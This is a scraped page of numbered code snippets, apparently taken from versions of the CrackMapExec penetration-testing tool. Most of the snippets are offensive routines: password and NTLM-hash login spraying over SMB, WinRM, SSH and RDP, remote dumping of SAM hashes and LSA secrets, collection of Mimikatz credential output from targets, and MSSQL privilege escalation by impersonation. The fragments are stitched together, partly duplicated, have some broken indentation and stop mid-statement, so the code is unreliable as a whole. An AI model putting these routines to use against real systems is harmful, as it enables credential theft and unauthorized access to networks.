Exemple #1
0
    def plaintext_login(self, domain, username, password):
        try:
            self.conn.login(username, password, domain)

            self.password = password
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.add_admin_user('plaintext', domain, username, password,
                                       self.host)

            out = u'{}\\{}:{} {}'.format(
                domain, username, password,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(
                domain, username, password, error,
                '({})'.format(desc) if self.args.verbose else ''))

            if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)

            return False
Exemple #2
0
    def kerberos_login(self, aesKey, kdcHost):
        # dirty code to check if user is admin but pywerview does not support kerberos auth ...
        error = ''
        try:
            self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost)
            # self.check_if_admin() # currently pywerview does not support kerberos auth
        except SessionError as e:
            error = e
        try:
            self.conn.connectTree("C$")
            self.admin_privs = True
        except SessionError as e:
            pass
        if not error:
            out = u'{}\\{} {}'.format(self.domain,
                                    self.conn.getCredentials()[0],
                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.success(out)
            return True
        else:
            self.logger.error(u'{} {} {}'.format(self.domain, 
                                                 error, 
                                                 '({})'.format(desc) if self.args.verbose else ''))
            return False

        # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
        if self.signing:
            try:
                self.conn.logoff()
            except:
                pass
            self.create_conn_obj()
Exemple #3
0
    def plaintext_login(self, domain, username, password):
        try:
            self.conn = pywinrm.Session(self.host,
                                        auth=('{}\\{}'.format(domain, username), password),
                                        transport='ntlm',
                                        server_cert_validation='ignore')

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.run_cmd('hostname')
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
                                                       username.decode('utf-8'),
                                                       password.decode('utf-8'),
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))

            return True

        except Exception as e:
            self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'),
                                                       username.decode('utf-8'),
                                                       password.decode('utf-8'),
                                                       e))

            return False
Exemple #4
0
    def sam(self):
        self.enable_remoteops()

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_sam_hash(sam_hash, host_id):
            add_sam_hash.sam_hashes += 1
            self.logger.highlight(sam_hash)
            username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
            self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
        add_sam_hash.sam_hashes = 0

        if self.remote_ops and self.bootkey:
            #try:
            SAMFileName = self.remote_ops.saveSAM()
            SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))

            self.logger.success('Dumping SAM hashes')
            SAM.dump()
            SAM.export(self.output_filename)

            self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))

            #except Exception as e:
                #self.logger.error('SAM hashes extraction failed: {}'.format(e))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            SAM.finish()
    def on_response(self, context, response):
        response.send_response(200)
        response.end_headers()
        length = int(response.headers.getheader('content-length'))
        data = response.rfile.read(length)

        #We've received the response, stop tracking this host
        response.stop_tracking_host()

        dc_count = 0
        if len(data):
            buf = StringIO(data).readlines()
            for line in buf:
                if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
                    try:
                        hostname, domain, ip = filter(None, line.strip().split(' '))
                        hostname = hostname.split('.')[0].upper()
                        domain   = domain.split('.')[0].upper()
                        context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip))
                        context.db.add_computer(ip, hostname, domain, '', dc=True)
                        dc_count += 1
                    except Exception:
                        context.log.error('Error parsing Domain Controller entry')

            context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))

            log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
            write_log(data, log_name)
            context.log.info("Saved raw output to {}".format(log_name))
Exemple #6
0
    def plaintext_login(self, username, password):
        try:
            if self.args.key_file:
                passwd = password
                password = u'{} (keyfile: {})'.format(passwd,
                                                      self.args.key_file)
                self.conn.connect(self.host,
                                  port=self.args.port,
                                  username=username,
                                  passphrase=passwd,
                                  key_filename=self.args.key_file,
                                  look_for_keys=False,
                                  allow_agent=False)
            else:
                self.conn.connect(self.host,
                                  port=self.args.port,
                                  username=username,
                                  password=password,
                                  look_for_keys=False,
                                  allow_agent=False)

            self.check_if_admin()
            self.logger.success(u'{}:{} {}'.format(
                username, password if not self.config.get('CME', 'audit_mode')
                else self.config.get('CME', 'audit_mode') * 8,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True
        except Exception as e:
            self.logger.error(u'{}:{} {}'.format(
                username, password if not self.config.get('CME', 'audit_mode')
                else self.config.get('CME', 'audit_mode') * 8, e))
            self.client_close()
            return False
Exemple #7
0
    def lsa(self):
        self.enable_remoteops()

        def add_lsa_secret(secret):
            add_lsa_secret.secrets += 1
            self.logger.highlight(secret)
        add_lsa_secret.secrets = 0

        if self.remote_ops and self.bootkey:

            SECURITYFileName = self.remote_ops.saveSECURITY()

            LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
                             perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

            self.logger.success('Dumping LSA secrets')
            LSA.dumpCachedHashes()
            LSA.exportCached(self.output_filename)
            LSA.dumpSecrets()
            LSA.exportSecrets(self.output_filename)

            self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
                                                                            self.output_filename + '.secrets', self.output_filename + '.cached'))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            LSA.finish()
Exemple #8
0
    def hash_login(self, domain, username, ntlm_hash):
	#print 'Filename: ' + sys._getframe(0).f_code.co_filename + '		Method: ' + sys._getframe(0).f_code.co_name
        lmhash = ''
        nthash = ''

        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash
       
	try:
            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

	    self.init_self_args(domain, username, str())
            out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
                                         username.decode('utf-8'),
                                         ntlm_hash,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))

            if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)

            return False
Exemple #9
0
    def hash_login(self, domain, username, ntlm_hash):
        try:
            self.url = 'rdp+ntlm-nt://' + domain + '\\' + username + ':' + ntlm_hash + '@' + self.host + ':' + str(self.args.port)
            asyncio.run(self.connect_rdp(self.url))

            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       ntlm_hash,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.local_auth:
                add_user_bh(username, domain, self.logger, self.config)            
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            reason = None
            for word in rdp_error_status.keys():
                if word in str(e):
                    reason = rdp_error_status[word]
            
            self.logger.error(u'{}\\{}:{} {}'.format(domain,
                                                    username,
                                                    ntlm_hash,
                                                    '({})'.format(reason) if reason else ''),
                                                    color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red')

            return False
    def on_response(self, context, response):
        response.send_response(200)
        response.end_headers()
        length = int(response.headers.getheader('content-length'))
        data = response.rfile.read(length)

        #We've received the response, stop tracking this host
        response.stop_tracking_host()

        dc_count = 0
        if len(data):
            buf = StringIO(data).readlines()
            for line in buf:
                if line != '\r\n' and not line.startswith(
                        'Name') and not line.startswith('---'):
                    hostname, domain, ip = filter(None,
                                                  line.strip().split(' '))
                    hostname = hostname.split('.')[0].upper()
                    domain = domain.split('.')[0].upper()
                    context.log.highlight(
                        'Hostname: {} Domain: {} IP: {}'.format(
                            hostname, domain, ip))
                    context.db.add_computer(ip, hostname, domain, '', dc=True)
                    dc_count += 1

            context.log.success(
                'Added {} Domain Controllers to the database'.format(
                    highlight(dc_count)))
Exemple #11
0
    def plaintext_login(self, domain, username, password):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            self.conn = Client(self.host,
                                        auth='ntlm',
                                        username=u'{}\\{}'.format(domain, username),
                                        password=password,
                                        ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       password,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e): 
                self.logger.error(u'{}\\{}:{}'.format(self.domain,
                                                        username,
                                                        password))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
                                                        username,
                                                        password,
                                                        e))

            return False
Exemple #12
0
    def on_response(self, context, response):
        response.send_response(200)
        response.end_headers()
        length = int(response.headers.getheader('content-length'))
        data = response.rfile.read(length)

        #We've received the response, stop tracking this host
        response.stop_tracking_host()

        dc_count = 0
        if len(data):
            buf = StringIO(data).readlines()
            for line in buf:
                if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
                    try:
                        hostname, domain, ip = filter(None, line.strip().split(' '))
                        hostname = hostname.split('.')[0].upper()
                        domain   = domain.split('.')[0].upper()
                        context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip))
                        context.db.add_computer(ip, hostname, domain, '', dc=True)
                        dc_count += 1
                    except Exception:
                        context.log.error('Error parsing Domain Controller entry')

            context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))

            log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
            write_log(data, log_name)
            context.log.info("Saved raw output to {}".format(log_name))
Exemple #13
0
    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

            self.username = username
            self.domain = domain
            self.conn.login(username, '', domain, lmhash, nthash)

            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain,
                                         username,
                                         ntlm_hash,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
            if self.signing:
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')

            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True 
Exemple #14
0
    def plaintext_login(self, username, password):
        try:
            self.conn.connect(self.host, port=self.args.port, username=username, password=password)
            self.check_if_admin()

            self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'),
                                                   password.decode('utf-8'),
                                                   highlight('(Pwn3d!)') if self.admin_privs else ''))

            return True
        except Exception as e:
            self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'),
                                                 password.decode('utf-8'),
                                                 e))

            return False
Exemple #15
0
    def plaintext_login(self, username, password):
        try:
            self.conn.connect(self.host, port=self.args.port, username=username, password=password)
            self.check_if_admin()

            self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'),
                                                   password.decode('utf-8'),
                                                   highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))

            return True
        except Exception as e:
            self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'),
                                                 password.decode('utf-8'),
                                                 e))

            return False
Exemple #16
0
    def hash_login(self, domain, username, ntlm_hash):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            lmhash = '00000000000000000000000000000000:'
            nthash = ''

            #This checks to see if we didn't provide the LM Hash
            if ntlm_hash.find(':') != -1:
                lmhash, nthash = ntlm_hash.split(':')
            else:
                nthash = ntlm_hash
                ntlm_hash = lmhash + nthash

            self.hash = nthash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash
            self.conn = Client(self.host,
                                        auth='ntlm',
                                        username=u'{}\\{}'.format(domain, username),
                                        password=ntlm_hash,
                                        ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
                                                       username,
                                                       self.hash,
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e): 
                self.logger.error(u'{}\\{}:{}'.format(self.domain,
                                                        username,
                                                        self.hash))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
                                                        username,
                                                        self.hash,
                                                        e))

            return False
Exemple #17
0
    def on_login(self, context, connection):
        # get mssql connection
        self.mssql_conn = connection.conn
        # fetch the current user
        self.current_username = self.get_current_username()
        self.current_user = User(self.current_username)
        self.current_user.is_sysadmin = self.is_admin()
        self.current_user.dbowner = self.check_dbowner_privesc()

        if self.action == "rollback":
            if not self.current_user.is_sysadmin:
                context.log.error(f"{self.current_username} is not sysadmin")
                return
            if self.remove_sysadmin_priv():
                context.log.success("sysadmin role removed")
            else:
                context.log.success("failed to remove sysadmin role")
            return

        if self.current_user.is_sysadmin:
            context.log.success(
                f"{self.current_username} is already a sysadmin")
            return

        # build path
        self.perform_check(context, self.current_user)
        # look for a privesc path
        target_user = self.browse_path(context, self.current_user,
                                       self.current_user)
        if self.action == "privesc":
            if not target_user:
                context.log.error("can't find any path to privesc")
            else:
                exec_as = self.build_exec_as_from_path(target_user)
                # privesc via impersonation privilege
                if target_user.is_sysadmin:
                    self.do_impersonation_privesc(self.current_username,
                                                  exec_as)
                # privesc via dbowner privilege
                elif target_user.dbowner:
                    self.do_dbowner_privesc(target_user.dbowner, exec_as)
            if self.is_admin_user(self.current_username):
                context.log.success(
                    f"{self.current_username} is now a sysadmin! " + highlight(
                        '({})'.format(context.conf.get('CME', 'pwn3d_label'))))
Exemple #18
0
    def plaintext_login(self, username, password):
        try:
            self.conn.connect(self.host,
                              port=self.args.port,
                              username=username,
                              password=password)
            self.check_if_admin()

            self.logger.success(u'{}:{} {}'.format(
                username, password,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else '')))

            return True
        except Exception as e:
            self.logger.error(u'{}:{} {}'.format(username, password, e))
            self.client_close()
            return False
Exemple #19
0
    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            self.conn.login(username, '', domain, lmhash, nthash)

            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.add_admin_user('hash', domain, username, ntlm_hash,
                                       self.host)

            out = u'{}\\{} {} {}'.format(
                domain, username, ntlm_hash,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{} {} {} {}'.format(
                domain, username, ntlm_hash, error,
                '({})'.format(desc) if self.args.verbose else ''))

            if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)

            return False
Exemple #20
0
    def plaintext_login(self, domain, username, password):
	#print 'Filename: ' + sys._getframe(0).f_code.co_filename + '		Method: ' + sys._getframe(0).f_code.co_name

	try:
            self.password = password

	    self.init_self_args(domain, username, password)
            self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
                                                       username.decode('utf-8'),
                                                       password.decode('utf-8'),
                                                       highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
            return True

        except Exception as e:
            self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'),
                                                       username.decode('utf-8'),
                                                       password.decode('utf-8'),
                                                       e))
            return False
Exemple #21
0
    def plaintext_login(self, domain, username, password):
        try:
            self.password = password
            self.username = username
            self.domain = domain
            self.conn.login(username, password, domain)

            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.add_admin_user('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain,
                                         username,
                                         password,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        password,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')          
            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True  
Exemple #22
0
    def shutdown(self):
        try:
            while len(self.server.hosts) > 0:
                self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
                sleep(15)
        except KeyboardInterrupt:
            pass

        # shut down the server/socket
        self.server.shutdown()
        self.server.socket.close()
        self.server.server_close()
        self._Thread__stop()

        # make sure all the threads are killed
        for thread in threading.enumerate():
            if thread.isAlive():
                try:
                    thread._Thread__stop()
                except:
                    pass
Exemple #23
0
    def shutdown(self):
        try:
            while len(self.server.hosts) > 0:
                self.server.log.info('Waiting on {} host(s)'.format(
                    highlight(len(self.server.hosts))))
                sleep(15)
        except KeyboardInterrupt:
            pass

        # shut down the server/socket
        self.server.shutdown()
        self.server.socket.close()
        self.server.server_close()

        # make sure all the threads are killed
        for thread in threading.enumerate():
            if thread.is_alive():
                try:
                    thread._stop()
                except:
                    pass
Exemple #24
0
    def on_response(self, context, response):
        response.send_response(200)
        response.end_headers()
        length = int(response.headers.getheader('content-length'))
        data = response.rfile.read(length)

        # We've received the response, stop tracking this host
        response.stop_tracking_host()

        if len(data):
            if self.command.find('sekurlsa::logonpasswords') != -1:
                creds = self.parse_mimikatz(data)
                if len(creds):
                    for cred_set in creds:
                        credtype, domain, username, password, _, _ = cred_set
                        # Get the hostid from the DB
                        hostid = context.db.get_computers(
                            response.client_address[0])[0][0]
                        context.db.add_credential(credtype,
                                                  domain,
                                                  username,
                                                  password,
                                                  pillaged_from=hostid)
                        context.log.highlight('{}\\{}:{}'.format(
                            domain, username, password))

                    context.log.success(
                        "Added {} credential(s) to the database".format(
                            highlight(len(creds))))
            else:
                context.log.highlight(data)

            log_name = 'Mimikatz-{}-{}.log'.format(
                response.client_address[0],
                datetime.now().strftime("%Y-%m-%d_%H%M%S"))
            write_log(data, log_name)
            context.log.info(
                "Saved raw Mimikatz output to {}".format(log_name))
Exemple #25
0
    def on_response(self, context, response):
        response.send_response(200)
        response.end_headers()
        length = int(response.headers.getheader('content-length'))
        data = response.rfile.read(length)

        # We've received the response, stop tracking this host
        response.stop_tracking_host()

        if len(data):
            if self.command.find('sekurlsa::logonpasswords') != -1:
                creds = self.parse_mimikatz(data)
                if len(creds):
                    for cred_set in creds:
                        credtype, domain, username, password,_,_ = cred_set
                        # Get the hostid from the DB
                        hostid = context.db.get_computers(response.client_address[0])[0][0]
                        context.db.add_credential(credtype, domain, username, password, pillaged_from=hostid)
                        context.log.highlight('{}\\{}:{}'.format(domain, username, password))

                    context.log.success("Added {} credential(s) to the database".format(highlight(len(creds))))
            else:
                context.log.highlight(data)

            log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
            write_log(data, log_name)
            context.log.info("Saved raw Mimikatz output to {}".format(log_name))
Exemple #26
0
def gen_cli_args():

    VERSION = '5.0.1dev'
    CODENAME = 'P3l1as'

    p_loader = protocol_loader()
    protocols = p_loader.get_protocols()

    parser = argparse.ArgumentParser(
        description="""
      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|

                                         A swiss army knife for pentesting networks
                                    Forged by @byt3bl33d3r using the powah of dank memes

                                                      {}: {}
                                                     {}: {}
""".format(highlight('Version', 'red'), highlight(VERSION),
           highlight('Codename', 'red'), highlight(CODENAME)),
        formatter_class=RawTextHelpFormatter,
        #version='{} - {}'.format(VERSION, CODENAME),
        epilog="Ya feelin' a bit buggy all of a sudden?")

    parser.add_argument(
        "-t",
        type=int,
        dest="threads",
        default=100,
        help="set how many concurrent threads to use (default: 100)")
    parser.add_argument(
        "--timeout",
        default=None,
        type=int,
        help='max timeout in seconds of each thread (default: None)')
    parser.add_argument(
        "--jitter",
        metavar='INTERVAL',
        type=str,
        help='sets a random delay between each connection (default: None)')
    parser.add_argument("--darrell",
                        action='store_true',
                        help='give Darrell a hand')
    parser.add_argument("--verbose",
                        action='store_true',
                        help="enable verbose output")

    subparsers = parser.add_subparsers(title='protocols',
                                       dest='protocol',
                                       description='available protocols')

    std_parser = argparse.ArgumentParser(add_help=False)
    std_parser.add_argument(
        "target",
        nargs='*',
        type=str,
        help=
        "the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)"
    )
    std_parser.add_argument(
        '-id',
        metavar="CRED_ID",
        nargs='+',
        default=[],
        type=str,
        dest='cred_id',
        help='database credential ID(s) to use for authentication')
    std_parser.add_argument("-u",
                            metavar="USERNAME",
                            dest='username',
                            nargs='+',
                            default=[],
                            help="username(s) or file(s) containing usernames")
    std_parser.add_argument("-p",
                            metavar="PASSWORD",
                            dest='password',
                            nargs='+',
                            default=[],
                            help="password(s) or file(s) containing passwords")
    fail_group = std_parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit",
                            metavar='LIMIT',
                            type=int,
                            help='max number of global failed login attempts')
    fail_group.add_argument(
        "--ufail-limit",
        metavar='LIMIT',
        type=int,
        help='max number of failed login attempts per username')
    fail_group.add_argument(
        "--fail-limit",
        metavar='LIMIT',
        type=int,
        help='max number of failed login attempts per host')

    module_parser = argparse.ArgumentParser(add_help=False)
    mgroup = module_parser.add_mutually_exclusive_group()
    mgroup.add_argument("-M",
                        "--module",
                        metavar='MODULE',
                        help='module to use')
    #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
    module_parser.add_argument('-o',
                               metavar='MODULE_OPTION',
                               nargs='+',
                               default=[],
                               dest='module_options',
                               help='module options')
    module_parser.add_argument('-L',
                               '--list-modules',
                               action='store_true',
                               help='list available modules')
    module_parser.add_argument('--options',
                               dest='show_module_options',
                               action='store_true',
                               help='display module options')
    module_parser.add_argument("--server",
                               choices={'http', 'https'},
                               default='https',
                               help='use the selected server (default: https)')
    module_parser.add_argument(
        "--server-host",
        type=str,
        default='0.0.0.0',
        metavar='HOST',
        help='IP to bind the server to (default: 0.0.0.0)')
    module_parser.add_argument("--server-port",
                               metavar='PORT',
                               type=int,
                               help='start the server on the specified port')

    for protocol in protocols.keys():
        protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
        subparsers = getattr(protocol_object,
                             protocol).proto_args(subparsers, std_parser,
                                                  module_parser)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    return args
def main():
    first_run_setup(logger)

    args = gen_cli_args()

    if args.darrell:
        links = open(
            os.path.join(os.path.dirname(cme.__file__), 'data',
                         'videos_for_darrell.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
        except:
            sys.exit(1)

    cme_path = os.path.expanduser('~/.cme')

    config = configparser.ConfigParser()
    config.read(os.path.join(cme_path, 'cme.conf'))

    module = None
    module_server = None
    targets = []
    jitter = None
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = config.get('CME', 'workspace')

    if args.verbose:
        setup_debug_logger()

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if args.jitter:
        if '-' in args.jitter:
            start, end = args.jitter.split('-')
            jitter = (int(start), int(end))
        else:
            jitter = (0, int(args.jitter))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if os.path.exists(target):
                target_file_type = identify_target_file(target)
                if target_file_type == 'nmap':
                    targets.extend(parse_nmap_xml(target, args.protocol))
                elif target_file_type == 'nessus':
                    targets.extend(parse_nessus_file(target, args.protocol))
                else:
                    with open(target, 'r') as target_file:
                        for target_entry in target_file:
                            targets.extend(parse_targets(target_entry.strip()))
            else:
                targets.extend(parse_targets(target))

    # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
    if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts:
        shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/'))
        os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/'))
        logger.success('Cleared cached obfuscated PowerShell scripts')

    if hasattr(args, 'obfs') and args.obfs:
        powershell.obfuscate_ps_scripts = True

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path),
                              args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path),
                                 'database')

    db_path = os.path.join(cme_path, 'workspaces', current_workspace,
                           args.protocol + '.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    setattr(protocol_object, 'config', config)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for name, props in sorted(modules.items()):
                logger.info('{:<25} {}'.format(name, props['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    logger.info('{} module options:\n{}'.format(
                        name, props['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    module = loader.init_module(props['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = input(
                    highlight(
                        '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ',
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = input(
                    highlight(
                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(
